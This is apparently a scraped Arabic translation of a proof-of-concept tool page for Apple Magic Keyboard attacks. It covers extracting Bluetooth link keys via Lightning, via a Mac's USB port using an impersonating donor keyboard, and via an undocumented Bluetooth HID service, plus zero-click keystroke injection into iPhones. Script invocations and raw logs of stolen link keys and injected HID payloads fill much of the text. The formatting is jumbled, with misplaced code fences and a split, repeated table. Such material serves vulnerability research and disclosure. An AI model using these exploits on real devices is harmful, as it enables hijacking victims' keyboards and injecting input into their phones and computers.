12:25:49.558] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.562] [TX-19] a101000016000000000000 [2024-01-07 12:25:49.567] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.571] [TX-19] a10102002ee10000000000 [2024-01-07 12:25:49.576] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.580] [TX-19] a10100000c000000000000 [2024-01-07 12:25:49.585] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.589] [TX-19] a101000016000000000000 [2024-01-07 12:25:49.593] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.598] [TX-19] a10102002ee10000000000 [2024-01-07 12:25:49.602] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.607] [TX-19] a101000009000000000000 [2024-01-07 12:25:49.611] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.616] [TX-19] a10100000c000000000000 [2024-01-07 12:25:49.620] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.625] [TX-19] a101000011000000000000 [2024-01-07 12:25:49.629] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.633] [TX-19] a101000008000000000000 [2024-01-07 12:25:49.638] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.642] [TX-19] a101020034e10000000000 [2024-01-07 12:25:49.646] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.651] [TX-19] a101000028000000000000 [2024-01-07 12:25:49.655] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.760] payload has been transmitted; disconnecting Bluetooth HID client [2024-01-07 12:25:49.761] taking 'hci1' offline

root@kitploit:~
## استخراج مفتاح الارتباط

### مفتاح ارتباط Magic Keyboard عبر منفذ Lightning

عند توصيل Magic Keyboard بجهاز Mac، يرسل Mac مفتاح ارتباط Bluetooth إلى Magic Keyboard عبر USB.

يبقى مفتاح الارتباط في الذاكرة حتى يتم إيقاف تشغيل Magic Keyboard، ويمكن قراءته بواسطة مهاجم لديه إمكانية الوصول إلى منفذ Lightning في لوحة المفاتيح.

#### الإصدارات المتأثرة

بدأت Apple في طرح [تصحيحات Magic Keyboard](https://support.apple.com/en-us/HT214050) في 2024-01-09.

تم اختبار الأجهزة الطرفية التالية من Apple وتبين أنها معرضة لهذا الهجوم. لم يتم اختبار أي أجهزة طرفية أخرى، لذا قد تكون هذه القائمة غير مكتملة.

| اسم المنتج | رقم الطراز |
|-|-|
| Magic Keyboard | A2450 |
| Magic Keyboard مع Touch ID | A2449 |
| Magic Keyboard مع لوحة الأرقام | A1843 |
| Magic Keyboard مع Touch ID ولوحة الأرقام | A2520 |
| Magic Mouse | A1657 |

#### الحالة الابتدائية

- ظلّت Magic Keyboard قيد التشغيل منذ آخر مرة تم توصيلها بجهاز Mac

#### تشغيل إثبات المفهوم (PoC)

قم بتوصيل Magic Keyboard بجهاز الكمبيوتر الذي يعمل بنظام Linux باستخدام كابل Lightning إلى USB، ثم قم بتشغيل البرنامج النصي بدون أي معاملات.```
./read-link-key-lightning.py

المخرجات```

Model - Magic Keyboard Serial Number - F1T2107RUNW12NXA9 BT Address - 1c:57:fc:08:65:12 Mac BT Address - a4:c3:99:e8:a8:6c BT Link Key - c95e3ec98809f2745d32029e7f97b67e

root@kitploit:~
### مفتاح ارتباط Magic Keyboard عبر منفذ USB على Mac

عند توصيل Magic Keyboard بجهاز Mac، يرسل Mac مفتاح ارتباط Bluetooth إلى Magic Keyboard عبر USB.

في المرة التالية التي يتم فيها توصيل Magic Keyboard بجهاز Mac، يتم التعرف عليها من خلال عنوان Bluetooth والرقم التسلسلي، ويرسل Mac مفتاح الارتباط الأصلي إلى Magic Keyboard.

إذا كان المهاجم يعرف عنوان Bluetooth والرقم التسلسلي للوحة Magic Keyboard المستهدفة، فيمكنه انتحال شخصية Magic Keyboard أمام Mac عبر USB، وقراءة مفتاح الارتباط المستهدف من منفذ USB على Mac.

ينفّذ إثبات المفهوم (PoC) هذا الهجوم عن طريق كتابة عنوان Bluetooth والرقم التسلسلي للهدف على لوحة مفاتيح مانحة، وتوصيل لوحة المفاتيح المانحة بجهاز Mac، ثم قراءة مفتاح الارتباط من لوحة المفاتيح المانحة.

يمكن تخفيف هذا الهجوم عن طريق تفعيل Lockdown Mode على Mac.

#### الإصدارات المتأثرة

بدأت Apple في طرح [تصحيحات Magic Keyboard](https://support.apple.com/en-us/HT214050) في 2024-01-09.

تم اختبار إصدارات macOS 12 و13 و14 وتبيّن أنها معرّضة لهذا الهجوم. لم يتم اختبار الإصدارات الأقدم من macOS.

تم اختبار الملحقات التالية من Apple وتبيّن أنها معرّضة لهذا الهجوم. لم يتم اختبار أي ملحقات أخرى، لذا قد تكون هذه القائمة غير مكتملة.

| اسم المنتج | رقم الطراز |
|-|-|
| Magic Keyboard | A2450 |
| Magic Keyboard with Touch ID | A2449 |
| Magic Keyboard with Numeric Keypad | A1843 |
| Magic Keyboard with Touch ID and Numeric Keypad | A2520 |
| Magic Mouse | A1657 |

#### حالة البداية

- Magic Keyboard مقترنة بجهاز Mac لا يحتوي على Lockdown Mode مفعّل.
- المهاجم يعرف عنوان Bluetooth والرقم التسلسلي للوحة Magic Keyboard.
- يمتلك المهاجم لوحة Magic Keyboard مانحة (سيتم إعادة تكوينها مؤقتًا لانتحال شخصية لوحة المفاتيح المستهدفة).

#### تشغيل PoC```
> ./read-link-key-from-mac.py --help
usage: read-link-key-from-mac.py [-h] -a KEYBOARD_ADDRESS -s KEYBOARD_SERIAL

options:
  -h, --help            show this help message and exit
  -a KEYBOARD_ADDRESS, --keyboard_address KEYBOARD_ADDRESS
  -s KEYBOARD_SERIAL, --keyboard_serial KEYBOARD_SERIAL

الاستدعاء```

./read-link-key-from-mac.py -a 1c:57:fc:08:65:12 -s F1T2107RUNW12NXA9

root@kitploit:~
#### المخرجات```
[2024-01-07 10:34:53.910]  Turn on the donor keyboard and plug it into this computer
[2024-01-07 10:34:58.200]  changing Bluetooth address from 3C:A6:F6:E1:3D:F0 to 1c:57:fc:08:65:12
[2024-01-07 10:34:58.201]  serial number: F0T230C02AZ0NC1EH -> F1T2107RUNW12NXA9
[2024-01-07 10:34:58.202]  Unplug the donor keyboard and plug it into the Mac.
[2024-01-07 10:34:58.202]  Wait a few seconds, then plug it back into this computer.
[2024-01-07 10:35:02.533]  keyboard was unplugged
[2024-01-07 10:35:13.463]  keyboard has returned
[2024-01-07 10:35:13.464]  Mac BT Address - a4:c3:99:e8:a8:6c
[2024-01-07 10:35:13.464]  BT Link-Key    - c95e3ec98809f2745d32029e7f97b67e

مفتاح ارتباط لوحة Magic Keyboard عبر البلوتوث

عندما تكون لوحة Magic Keyboard موصولة بجهاز Mac، يرسل Mac مفتاح ارتباط البلوتوث إلى لوحة Magic Keyboard عبر USB.

يبقى مفتاح الارتباط في الذاكرة حتى يتم إيقاف تشغيل لوحة Magic Keyboard، ويمكن قراءته عبر خدمة Bluetooth HID غير موثَّقة على لوحة المفاتيح.

تصبح خدمة Bluetooth HID غير الموثَّقة متاحة عند فصل لوحة Magic Keyboard عن Mac، وتبقى متاحة حتى يتم إنشاء اتصال البلوتوث.

هذا هجوم بدون أي نقرة (zero-click) يعتمد على التوقيت. لا ينفّذ إثبات المفهوم (PoC) مشغّل توقيت، بل يحاول الاتصال بلوحة Magic Keyboard في حلقة تكرارية حتى ينجح.

الإصدارات المتأثرة

بدأت Apple في طرح تصحيحات Magic Keyboard في 2024-01-09.

تم اختبار الأجهزة الطرفية التالية من Apple وتبيّن أنها معرّضة لهذا الهجوم. لم يتم اختبار أي أجهزة طرفية أخرى، لذا فقد تكون هذه القائمة غير مكتملة.

اسم المنتجرقم الطراز
Magic KeyboardA2450
Magic Keyboard with Touch IDA2449
Magic Keyboard with Numeric Keypad

حالة البداية

  • لوحة Magic Keyboard تعمل وموصولة بجهاز Mac

تشغيل إثبات المفهوم (PoC)

قم بتوصيل لوحة Magic Keyboard بجهاز الكمبيوتر الذي يعمل بنظام Linux باستخدام كابل Lightning إلى USB، ثم شغّل البرنامج النصي. بمجرد تشغيل البرنامج النصي، افصل لوحة المفاتيح عن Mac.

عندما يتم فصل لوحة المفاتيح، هناك تسابق للاتصال بها بين جهاز المهاجم وMac.

سيتصل إثبات المفهوم (PoC) عادةً بلوحة Magic Keyboard بعد ~5 أو ~25 ثانية من فصل لوحة المفاتيح عن Mac. في بعض الأحيان قد يفوز Mac في هذا التسابق، وعندها لن يكتمل إثبات المفهوم (PoC).``` ./read-link-key-lightning.py

root@kitploit:~
#### الاستدعاء```
./read-link-key-bluetooth.py 1c:57:dc:88:55:02

المخرجات```

[2024-01-07 13:09:59.311] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:00.313] ERROR connecting on port 17: timed out [2024-01-07 13:10:00.314] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:00.316] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:00.318] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:01.359] ERROR connecting on port 17: timed out [2024-01-07 13:10:01.361] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:01.362] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:01.364] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:02.407] ERROR connecting on port 17: timed out [2024-01-07 13:10:02.408] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:02.410] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:02.411] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:03.448] ERROR connecting on port 17: timed out [2024-01-07 13:10:03.449] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:03.451] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:03.452] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:04.512] ERROR connecting on port 17: timed out [2024-01-07 13:10:04.513] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:04.515] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:04.516] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:05.568] ERROR connecting on port 17: timed out [2024-01-07 13:10:05.569] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:05.638] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:05.640] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:06.680] ERROR connecting on port 17: timed out [2024-01-07 13:10:06.681] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:07.682] ERROR connecting on port 17: timed out [2024-01-07 13:10:07.684] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:08.685] ERROR connecting on port 17: timed out [2024-01-07 13:10:08.687] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:09.689] ERROR connecting on port 17: timed out [2024-01-07 13:10:09.690] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:10.691] ERROR connecting on port 17: timed out [2024-01-07 13:10:10.693] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:11.694] ERROR connecting on port 17: timed out [2024-01-07 13:10:11.696] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:12.697] ERROR connecting on port 17: timed out [2024-01-07 13:10:12.699] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:13.700] ERROR connecting on port 17: timed out [2024-01-07 13:10:13.702] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:14.704] ERROR connecting on port 17: timed out [2024-01-07 13:10:14.705] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:15.707] ERROR connecting on port 17: timed out [2024-01-07 13:10:15.708] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:16.709] ERROR connecting on port 17: timed out [2024-01-07 13:10:16.711] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:17.712] ERROR connecting on port 17: timed out [2024-01-07 13:10:17.714] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:18.715] ERROR connecting on port 17: timed out [2024-01-07 13:10:18.717] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:19.719] ERROR connecting on port 17: timed out [2024-01-07 13:10:19.720] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:20.722] ERROR connecting on port 17: timed out [2024-01-07 13:10:20.723] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:21.725] ERROR connecting on port 17: timed out [2024-01-07 13:10:21.726] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:22.728] ERROR connecting on port 17: timed out [2024-01-07 13:10:22.729] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:23.731] ERROR connecting on port 17: timed out [2024-01-07 13:10:23.732] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:24.734] ERROR connecting on port 17: timed out [2024-01-07 13:10:24.735] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:25.737] ERROR connecting on port 17: timed out [2024-01-07 13:10:25.738] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:26.739] ERROR connecting on port 17: timed out [2024-01-07 13:10:26.741] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:26.824] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:26.826] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:27.868] ERROR connecting on port 17: timed out [2024-01-07 13:10:27.869] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:28.262] SUCCESS! connected on port 17 [2024-01-07 13:10:28.264] connecting to 1c:57:dc:88:55:02 on port 19 [2024-01-07 13:10:28.290] SUCCESS! connected on port 19 [2024-01-07 13:10:28.291] [TX-17] 53ff34 [2024-01-07 13:10:28.346] [RX-17] 00 [2024-01-07 13:10:28.346] [TX-17] 43f0 [2024-01-07 13:10:28.414] [RX-17] a3f0340347011c57dc88550200254000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 [2024-01-07 13:10:28.414] [TX-17] 53ff35 [2024-01-07 13:10:28.458] [RX-17] 00 [2024-01-07 13:10:28.458] [TX-17] 43f0 [2024-01-07 13:10:28.498] [RX-17] a3f035010150de06a8e1ca80b480523b23bbff5ea40c52e88f1905 Model 0 - Magic Keyboard BT Address - 1c:57:dc:88:55:02 Mac BT Address - 50🇩🇪06:a8:e1:ca BT Link Key - 05198fe8520ca45effbb233b5280b480

root@kitploit:~
### حقن ضغطات المفاتيح في iOS

عندما يحاول iPhone الاتصال بلوحة مفاتيح Magic Keyboard مقترنة عبر Bluetooth، يمكن للمهاجم انتحال شخصية Magic Keyboard أمام iPhone، وإقران لوحة مفاتيح Bluetooth افتراضية، وحقن ضغطات المفاتيح دون تأكيد من المستخدم.

يحتوي هذا الهجوم على عنصر توقيت، حيث يجب على المهاجم الاتصال بـ iPhone في اللحظة الدقيقة التي يحاول فيها iPhone الاتصال بلوحة Magic Keyboard.

يعمل إثبات المفهوم (PoC) المرفق عند محاولة iPhone الاتصال بلوحة مفاتيح Magic Keyboard المقترنة. يستخدم هذا نفس مشغل توقيت SDP الموجود في إثبات المفهوم الخاص بـ macOS، حيث يتم التشغيل عندما يتصل iPhone بلوحة مفاتيح Magic Keyboard المقترنة. وهو هجوم بدون نقرات يتطلب مراقبة اتصال المستخدم بلوحة مفاتيحه المقترنة.

#### الإصدارات المتأثرة

- iOS 17 معرّض للثغرة قبل الإصدار 17.2
- iOS 16 معرّض للثغرة ولا يُتوقع إصدار تصحيح له
- iOS 15 وما هو أقدم لم يتم اختباره

#### الحالة الابتدائية

- iPhone مقترن بلوحة مفاتيح Magic Keyboard، واللوحة خارج نطاق التغطية أو مغلقة.
- عندما يحاول المستخدم الاتصال بلوحة Magic Keyboard الخاصة به، يقوم إثبات المفهوم بحقن ضغطات المفاتيح لفتح متصفح ويب وإجراء بحث في Google.

#### تشغيل إثبات المفهوم

**ملاحظة: يجب أن يكون BlueZ يعمل في وضع التوافق على جهاز المهاجم ليعمل إثبات المفهوم هذا. يوجد سكربت إثبات المفهوم الخاص بـ iPhone في iphone-poc.zip**```
> ./iphone-poc.py
usage: ./iphone-poc.py <hciX> <BT_ADDR_IPHONE> <BT_ADDR_KEYBOARD>
الاستدعاء```

./iphone-poc.py hci1 4C:20:B8:D6:63:45 1C:57:DC:88:55:02

root@kitploit:~
تنزيل الأداة
A1843
Magic Keyboard with Touch ID and Numeric KeypadA2520
Magic MouseA1657